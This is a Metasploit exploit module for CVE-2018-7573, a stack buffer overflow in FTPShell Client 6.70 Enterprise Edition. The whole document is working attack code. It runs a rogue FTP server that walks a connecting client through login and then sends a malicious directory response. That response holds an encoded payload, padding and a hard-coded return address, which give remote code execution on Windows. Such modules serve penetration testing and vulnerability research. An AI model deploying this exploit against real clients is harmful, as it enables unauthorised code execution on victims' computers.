FTPShell Client 6.70 Enterprise Edition Stack Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise  
edition) allowing remote code execution.  
},  
'Author' =>  
[  
'r4wd3r', # Original exploit author  
'Daniel Teixeira' # MSF module author  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2018-7573'],  
[ 'EDB', '44596' ]  
],  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x22\x0d\x0a\x0b"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# CALL ESI in FTPShell.exe : 0x00452eed  
[ 'Windows Universal', {'Ret' => "\xed\x2e\x45" } ]  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'SRVHOST' => '0.0.0.0',  
'EXITFUNC' => 'thread'  
},  
'DisclosureDate' => 'Mar 4 2017',  
'DefaultTarget' => 0))  
  
register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]  
end  
  
def exploit  
srv_ip_for_client = datastore['SRVHOST']  
if srv_ip_for_client == '0.0.0.0'  
if datastore['LHOST']  
srv_ip_for_client = datastore['LHOST']  
else  
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')  
end  
end  
  
srv_port = datastore['SRVPORT']  
  
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")  
super  
end  
  
def on_client_connect(client)  
p = regenerate_payload(client)  
return if p.nil?  
print_status("#{client.peerhost} - connected.")  
  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?  
print_status("#{client.peerhost} - Response: Sending 220 Welcome")  
welcome = "220 Welcome.\r\n"  
client.put(welcome)  
  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}")  
print_status("#{client.peerhost} - Response: sending 331 OK")  
user = "331 OK.\r\n"  
client.put(user)  
  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}")  
print_status("#{client.peerhost} - Response: Sending 230 OK")  
pass = "230 OK.\r\n"  
client.put(pass)  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}")  
  
sploit = '220 "'  
sploit << payload.encoded  
sploit << "\x20" * (payload_space - payload.encoded.length)  
sploit << target.ret  
sploit << "\" is current directory\r\n"  
  
print_status("#{client.peerhost} - Request: Sending the malicious response")  
client.put(sploit)  
  
end  
end  
`